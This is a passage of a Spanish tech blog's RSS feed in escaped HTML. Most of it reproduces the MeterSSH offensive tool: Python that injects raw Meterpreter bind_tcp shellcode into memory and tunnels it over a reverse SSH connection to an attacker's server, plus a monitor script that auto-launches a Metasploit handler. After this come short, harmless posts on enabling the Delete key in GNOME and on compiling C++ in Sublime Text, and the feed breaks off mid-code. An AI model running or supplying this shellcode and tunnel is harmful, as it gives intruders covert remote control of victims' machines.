&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">server&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">rhost&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">)]&lt;/span> &lt;span class="c1"># our ssh server &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">remote&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;127.0.0.1&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">8021&lt;/span>&lt;span class="p">)]&lt;/span> &lt;span class="c1"># what we want to tunnel&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">client&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">paramiko&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">SSHClient&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># use the paramiko SSHClient&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">client&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">load_system_host_keys&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># load SSH keys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">client&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_missing_host_key_policy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">paramiko&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">AutoAddPolicy&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># automatically add SSH key&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">client&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">connect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">server&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key_filename&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">look_for_keys&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># except exception&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s1">&amp;#39;*** Failed to connect to &lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">:&lt;/span>&lt;span class="si">%d&lt;/span>&lt;span class="s1">: &lt;/span>&lt;span class="si">%r&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">server&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">reverse_forward_tunnel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">8021&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">client&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_transport&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># except exception&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="n">e&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># used when you need to use multiprocessing and use pywin32 or py2exe and byte compile to a binary&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">multiprocessing&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">freeze_support&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># this is traditional metasploit windows/meterpreter/bind_tcp that binds on port 8021 - meterssh will then take port 8021 and wrap over SSH&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">shellcode&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">r&lt;/span>&lt;span class="s2">&amp;#34;\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02\x00\x1f\x55\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">shellcode&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">shellcode&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;string_escape&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">shellcode&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytearray&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Shellcode injection loaded into memory...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">multiprocessing&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Process&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">target&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">inject&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">,))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Spawning meterpreter on localhost on port: 8021&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">jobs&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">jobs&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">start&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># this starts the main routine which is where we get all our port forward stuff&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># user for ssh - note that you can easily modify this to support pub/priv keys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;sshuser&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># password for SSH&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;sshpw&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># this is where your SSH server is running&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rhost&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;192.168.1.1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># remote SSH port - this is the attackers SSH server&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">port&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;22&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Tunneling SSH, this takes a moment.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] You should have a shell raining in a sec..&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">thread&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">start_new_thread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">main&lt;/span>&lt;span class="p">,(&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rhost&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">,))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>##monitor.py:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">time&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">subprocess&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">re&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Reverse SSH tunnel monitor for meterssh.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Simply run python monitor.py and wait for your shell to come back&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Written by: David Kennedy (ReL1K)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Website: https://www.trustedsec.com&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Twitter: @TrustedSec @HackingDave&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Launching count monitor at 5 second intervals...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Polling... Waiting for connection into SSH encrypted tunnel...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">proc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">subprocess&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Popen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;netstat -antp | grep 8021&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">stdout&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">subprocess&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">PIPE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">shell&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">stdout&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">proc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">communicate&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s2">&amp;#34;8021&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">stdout&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Encrypted tunnel identified. Yipee, we gots a shell!&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Creating a quick Metasploit answer file for you..&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">filewrite&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;answer.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;w&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">filewrite&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;use multi/handler&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">set payload windows/meterpreter/bind_tcp&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">set RHOST 0.0.0.0&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">set LPORT 8021&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">exploit&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">filewrite&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">close&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] Launching Metasploit... Wait one minute...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">subprocess&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Popen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;msfconsole -r answer.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">shell&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">wait&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;[*] All done! Wrapping things up.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">subprocess&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Popen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;rm answer.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">shell&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">wait&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;a class="link" href="monitor.py" >Fichero&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="https://www.trustedsec.com/november-2014/meterssh-meterpreter-ssh/" target="_blank" rel="noopener"
>https://www.trustedsec.com/november-2014/meterssh-meterpreter-ssh/&lt;/a>&lt;/p></description></item><item><title>Activar Tecla Suprimir</title><link>https://www.procamora.com/p/activarteclasuprimir/</link><pubDate>Sun, 27 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/activarteclasuprimir/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Activar Tecla Suprimir" />&lt;p>Parece ser que la combinación en las versiones de GNOME Shell a utilizar son: CTRL + supr si quieres que pasen por la papelera o SHIFT + supr si quieres eliminar archivos o carpetas directamente.&lt;/p>
&lt;p>En las ediciones modernas de este escritorio (GNOME Shell 3.6 para arriba) una forma sencilla de hacerlo es siguiendo el método que nos proponen en la wiki de Arch que consiste en editar el archivo oculto de nuestro directorio personal &lt;code>~/.config/nautilus/accels&lt;/code> (una copia de seguridad del archivo antes de tocarlo nunca de está de más..)&lt;/p>
&lt;p>Se trata de modificar la linea:
1&lt;/p>
&lt;p>&lt;code>; (gtk_accel_path &amp;quot;&amp;lt;Actions&amp;gt;/DirViewActions/Trash&amp;quot; &amp;quot;&amp;lt;Primary&amp;gt;Delete&amp;quot;)&lt;/code>&lt;/p>
&lt;p>descomentándola quitándole el punto y coma (;) del principio de la linea y eliminando donde pone &lt;Primary>, tal que como figura en la captura de imagen:
1&lt;/p>
&lt;p>&lt;code>(gtk_accel_path &amp;quot;&amp;lt;Actions&amp;gt;/DirViewActions/Trash&amp;quot; &amp;quot;Delete&amp;quot;)&lt;/code>&lt;/p>
&lt;p>Después tan solo tenemos que guardar los cambios, reiniciar nautilus y ya dispondremos de nuestra tecla de suprimir activada :-)&lt;/p>
&lt;p>Hay que decir que este cambio no deshabilita ninguno de los atajos de teclado que tengáis establecidos previamente.&lt;/p>
&lt;p>Fuentes: [1][0]
[0]: &lt;a class="link" href="http://lamiradadelreplicante.com/2014/11/17/activar-la-tecla-suprimir-en-gnome-shell/" target="_blank" rel="noopener"
>http://lamiradadelreplicante.com/2014/11/17/activar-la-tecla-suprimir-en-gnome-shell/&lt;/a>&lt;/p></description></item><item><title>Compilar C++ con Sublimetext 2</title><link>https://www.procamora.com/p/compilar_c-_sublimetext/</link><pubDate>Wed, 23 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/compilar_c-_sublimetext/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Compilar C++ con Sublimetext 2" />&lt;p>En esta entrada veremos como configurar Sublime Text 2 para que al presionar &lt;strong>ctrl + b&lt;/strong> se compile y ejecute nuestra aplicación en C++.&lt;/p>
&lt;p>Lo primero que debemos hacer es iniciar Sublime Text, una vez lo hallamos hecho, vamos a &lt;code>Tools -&amp;gt; Build System -&amp;gt; New Build System&lt;/code>&amp;hellip; Esto abrirá un pequeño archivo con unas lineas escritas en JSON, de modo que debemos copiar el siguiente código y pegarlo en este archivo.&lt;/p>
&lt;p>En mi caso la ruta es: &lt;code>%AppData%\Sublime Text 2\Packages\User&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//Windows
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="p">{&lt;/span>
